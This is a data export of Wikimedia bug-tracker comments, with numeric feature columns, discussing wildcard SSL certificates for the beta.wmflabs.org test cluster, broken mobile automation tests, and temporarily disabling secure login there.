227322,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Well, disabling secure login is easy - much better to have a couple of tests failing than not be able to run them at all.",,,1383069987,,PHID-USER-aasrweh54ew7py3agvg2,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,17,,7.0,0.0,0.0,0.0,4.0,11.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,19.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,4.0,0.0,0.0,4.0,19.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,4.0,7.0,4.0,0.0,0.0,3.5925925925925926,0.9629629629629629,"Well, disabling secure login is easy - much better to have a couple of tests failing than not be able to run them at all."
227316,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"If MobileFrontend doesn't work without HTTPS it's broken. That's a different bug, though.

Anyway, this isn't blocked on ops. In comment 46 I listed the steps that need to be taken, and they can be taken by anyone that has projectadmin in deployment-prep. Someone needs to take ownership of this situation and run with it. It will take us a matter of days to get SSL certs and we can start that process now, but until the other steps are taken there's no major point in doing so.",,,1383069913,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,17,,0.0,1.5,0.0,2.5,1.0,2.5,0.0,0.0,0.5,0.5,2.0,1.0,0.0,0.0,1.0,2.5,0.0,4.0,10.0,1.5,2.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.5,1.0,0.0,6.0,0.0,2.5,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.5,1.0,2.5,0.5,0.0,0.0,0.5,0.0,9.5,1.5,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,1.0,1.0,0.0,0.0,0.0,0.5,0.0,3.0,2.5,6.5,0.5,3.5,6.5,0.0,0.0,0.0,0.0,6.0,0.0,0.5,0.0,5.5,10.0,2.0,0.0,0.0,0.0,5.5,0.0,1.0,1.5,1.0,1.0,0.0,0.0,0.0,3.7075471698113205,0.8584905660377359,"If MobileFrontend doesn't work without HTTPS it's broken. That's a different bug, though.

Anyway, this isn't blocked on ops. In comment 46 I listed the steps that need to be taken, and they can be taken by anyone that has projectadmin in deployment-prep. Someone needs to take ownership of this situation and run with it. It will take us a matter of days to get SSL certs and we can start that process now, but until the other steps are taken there's no major point in doing so."
227311,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,This actually makes beta labs unusable for me and the rest of the mobile team. Mobile is dependent on https - it's been like this since login was first introduced. It is not easy to disentangle.,,,1383069706,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,17,,0.0,0.0,0.0,2.0,2.0,10.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,15.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,15.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,8.0,2.0,2.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,8.0,15.0,2.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.975,0.9,This actually makes beta labs unusable for me and the rest of the mobile team. Mobile is dependent on https - it's been like this since login was first introduced. It is not easy to disentangle.
227304,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,No I don't. It currently redirect to HTTPS for me in Safari and fails to load completely in Firefox.,,,1383069532,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,17,,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,9.0,0.0,14.0,23.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,14.0,23.0,14.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.727272727272727,0.8636363636363636,No I don't. It currently redirect to HTTPS for me in Safari and fails to load completely in Firefox.
227299,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to comment #54)
> Although I have no idea why the HTTP version doesn't load.

It does for me, both in browsers and using curl.  Is it possible you have HTTPS Everywhere or something enabled?",,,1383017052,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,17,,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,11.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,6.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,17.0,0.0,6.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,11.0,11.0,0.0,3.0,0.0,0.0,11.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.4857142857142858,1.0,"(In reply to comment #54)
QUOTE

It does for me, both in browsers and using curl.  Is it possible you have HTTPS Everywhere or something enabled?"
227294,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Any progress on this? It's been 2 weeks and we still can't do acceptance testing on beta labs.

And no we can't not use https:
http://en.m.wikipedia.beta.wmflabs.org/wiki/Main_Page
Although I have no idea why the HTTP version doesn't load.",,,1383006331,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,17,,2.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,17.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,6.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,15.0,4.0,4.0,8.0,0.0,0.0,0.0,0.0,6.0,2.0,2.0,0.0,8.0,6.0,4.0,2.0,0.0,0.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.25,0.8333333333333334,"Any progress on this? It's been 2 weeks and we still can't do acceptance testing on beta labs.

And no we can't not use https:
URL
Although I have no idea why the HTTP version doesn't load."
227291,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"
Should be Real Soon Now: https://bugzilla.wikimedia.org/show_bug.cgi?id=55804",,,1381967050,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,15,,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,62.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,"
Should be Real Soon Now: URL"
227288,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to comment #51)
> I guess the first part of my comment is redundant with what you already know.
> Mostly, I wanted to convey that our automation testing is broken, in case
> that
> affects prioritizing.

Is it possible for now to not use https? That's what other projects have done for now to workaround the issue.",,,1381966770,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,15,,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,15.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,17.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,7.0,0.0,2.0,0.0,2.0,15.0,5.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.341463414634146,0.7560975609756098,"(In reply to comment #51)
QUOTE
QUOTE
QUOTE
QUOTE

Is it possible for now to not use https? That's what other projects have done for now to workaround the issue."
227283,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"I guess the first part of my comment is redundant with what you already know. Mostly, I wanted to convey that our automation testing is broken, in case that affects prioritizing.",,,1381966629,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,15,,0.0,0.0,0.0,3.0,0.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,11.0,3.0,6.0,14.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,6.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,3.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,6.0,9.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,4.228571428571429,0.8571428571428571,"I guess the first part of my comment is redundant with what you already know. Mostly, I wanted to convey that our automation testing is broken, in case that affects prioritizing."
227279,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to comment #49)
> Currently getting a cert warning when trying to go to:
> https://deployment.wikimedia.beta.wmflabs.org/
> This is breaking our automation tests for mobile.

Heh. Did you read the ticket any before posting this? :)",,,1381966170,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,15,,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,21.0,0.0,0.0,11.0,0.0,4.0,0.0,4.0,7.0,0.0,4.0,4.0,4.0,11.0,7.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.107142857142857,0.8571428571428571,"(In reply to comment #49)
QUOTE
QUOTE
QUOTE

Heh. Did you read the ticket any before posting this? :)"
227277,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Currently getting a cert warning when trying to go to:
https://deployment.wikimedia.beta.wmflabs.org/
This is breaking our automation tests for mobile.",,,1381965216,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,15,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,9.0,13.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,4.0,13.0,4.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,13.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,13.0,0.0,0.0,0.0,4.0,0.9130434782608695,"Currently getting a cert warning when trying to go to:
URL
This is breaking our automation tests for mobile."
227274,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,It's going to be an all-inclusive * cert for beta.,,,1381438407,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,14,,7.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,2.9285714285714284,1.0,It's going to be an all-inclusive * cert for beta.
227269,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,please don't forget about wikidata.beta.wmflabs.org,,,1381437836,,PHID-USER-lzhljhpbm3qfphvqyill,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,14,,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.833333333333333,1.0,please don't forget about wikidata.beta.wmflabs.org
227264,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Summary of IRC conversation:

1. Remove projectadmin permissions from volunteers
2. Clean up sudo policies to disallow root on varnish systems (that will have real certs)
3. Buy * certs

Any volunteer that would like to have projectadmin in the project or root on the varnish systems will need an NDA.",,,1381437765,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,14,,2.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,19.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,11.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,11.0,0.0,2.0,0.0,0.0,13.0,6.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,5.0,4.112903225806452,0.7419354838709677,"Summary of IRC conversation:

1. Remove projectadmin permissions from volunteers
2. Clean up sudo policies to disallow root on varnish systems (that will have real certs)
3. Buy * certs

Any volunteer that would like to have projectadmin in the project or root on the varnish systems will need an NDA."
227260,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Change 87045 merged by jenkins-bot:
Labs: Turn off secure login on loginwiki due to untrusted SSL

https://gerrit.wikimedia.org/r/87045",,,1381250687,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,14,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,22.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.130434782608695,0.9565217391304348,"Change 87045 merged by jenkins-bot:
Labs: Turn off secure login on loginwiki due to untrusted SSL

GERRIT_URL"
227254,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to comment #42)
> (In reply to comment #40)
> 
> > I'm still not opposed to getting a proper cert, but that requires some
> > infrastructure and permissions changes in deployment-prep...
> 
> Since we've been going around on this since May, what would be the next step
> to
> make that happen?

Maybe create another project with limited access and move the ssl terminators there. You should realize that other than advising I'm not really doing anything in beta...",,,1380729147,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,13,,0.0,2.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,7.0,11.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,13.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,22.0,2.0,2.0,4.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,4.0,11.0,11.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.890909090909091,0.7454545454545455,"(In reply to comment #42)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Maybe create another project with limited access and move the ssl terminators there. You should realize that other than advising I'm not really doing anything in beta..."
227248,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to comment #41)
> (In reply to comment #29)
> > There's also the option which had been discussed before: make a new labs
> > project whose sole purpose would be to do SSL termination and would then
> > relay
> > to varnish.
> > 
> > Then *that* project would have the NDA req instead of the core beta project.
> 
> That's the dynamichttp proxy, which has been running silently for a while now
> :)

They want to have the same https infrastructure as production, which makes sense ;)",,,1380729060,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,27.0,0.0,0.0,5.0,0.0,2.0,0.0,2.0,5.0,0.0,2.0,0.0,2.0,9.0,18.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.477272727272727,0.5681818181818182,"(In reply to comment #41)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

They want to have the same https infrastructure as production, which makes sense ;)"
227242,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to comment #40)

> I'm still not opposed to getting a proper cert, but that requires some
> infrastructure and permissions changes in deployment-prep...

Since we've been going around on this since May, what would be the next step to make that happen?",,,1380728062,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,20.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,14.0,6.0,0.0,9.0,0.0,0.0,0.0,3.0,11.0,0.0,3.0,0.0,3.0,20.0,3.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.2857142857142856,0.9142857142857143,"(In reply to comment #40)

QUOTE
QUOTE

Since we've been going around on this since May, what would be the next step to make that happen?"
227237,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to comment #29)
> There's also the option which had been discussed before: make a new labs
> project whose sole purpose would be to do SSL termination and would then
> relay
> to varnish.
> 
> Then *that* project would have the NDA req instead of the core beta project.

That's the dynamichttp proxy, which has been running silently for a while now :)",,,1380727770,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,8.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,22.0,0.0,0.0,11.0,0.0,3.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,8.0,11.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,3.4054054054054053,0.7297297297297297,"(In reply to comment #29)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

That's the dynamichttp proxy, which has been running silently for a while now :)"
227230,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Has anyone considered creating a CA (http://pages.cs.wisc.edu/~zmiller/ca-howto/), generating a * cert, and adding that certificate to the browser's trust? Is that a possibility using the selenium service we're using?

I'm still not opposed to getting a proper cert, but that requires some infrastructure and permissions changes in deployment-prep...",,,1380727437,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,13,,2.0,2.0,0.0,0.0,2.0,3.0,2.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,3.0,2.0,3.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,8.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,18.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,8.0,2.0,5.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,2.0,3.0,0.0,0.0,3.0,0.0,0.0,7.0,0.0,10.0,0.0,0.0,0.0,4.366666666666666,0.8,"Has anyone considered creating a CA (URL generating a * cert, and adding that certificate to the browser's trust? Is that a possibility using the selenium service we're using?

I'm still not opposed to getting a proper cert, but that requires some infrastructure and permissions changes in deployment-prep..."
227222,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to comment #33)
> But I can't find prefershttps in Preferences to turn that off.

So it turns out it only displays if wgSecureLogin is on, but it defaults true either way.  The gotcha is that it wasn't not on for Labs, *except* loginwiki.  However, loginwiki is not taken into account by the Preferences logic.  

I believe the above should workaround that by disabling wgSecureLogin on loginwiki as well.  However, I haven't tested it, since I don't have a realistic CentralAuth environment.

This is just intended to be temporary until there's an SSL setup on Beta that is trusted out-of-the-box by browsers.",,,1380704544,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,13,,0.0,0.0,0.0,2.0,3.0,2.0,2.0,0.0,0.0,0.5,2.5,2.0,0.0,0.5,1.0,2.5,0.0,8.5,14.0,0.0,2.0,1.0,1.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,7.5,1.0,3.0,1.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,8.5,1.0,1.5,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,1.0,0.0,4.0,4.5,10.0,3.0,0.5,5.5,0.0,0.0,0.0,0.5,3.0,0.0,0.5,0.0,5.0,14.0,5.0,0.0,0.0,0.0,5.0,0.0,1.0,1.5,0.0,1.0,0.0,0.0,0.0,3.746031746031746,0.7777777777777778,"(In reply to comment #33)
QUOTE

So it turns out it only displays if wgSecureLogin is on, but it defaults true either way.  The gotcha is that it wasn't not on for Labs, *except* loginwiki.  However, loginwiki is not taken into account by the Preferences logic.  

I believe the above should workaround that by disabling wgSecureLogin on loginwiki as well.  However, I haven't tested it, since I don't have a realistic CentralAuth environment.

This is just intended to be temporary until there's an SSL setup on Beta that is trusted out-of-the-box by browsers."
227213,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Change 87045 had a related patch set uploaded by Mattflaschen:
Labs: Turn off secure login on loginwiki due to untrusted SSL

https://gerrit.wikimedia.org/r/87045",,,1380704074,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,23.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,19.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.5,0.9615384615384616,"Change 87045 had a related patch set uploaded by Mattflaschen:
Labs: Turn off secure login on loginwiki due to untrusted SSL

GERRIT_URL"
227207,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Calm down, what we need is to use the 'Labs CA' certificate authority to generate all the certificates we need, then add that authority as a trusted one in the browsers.

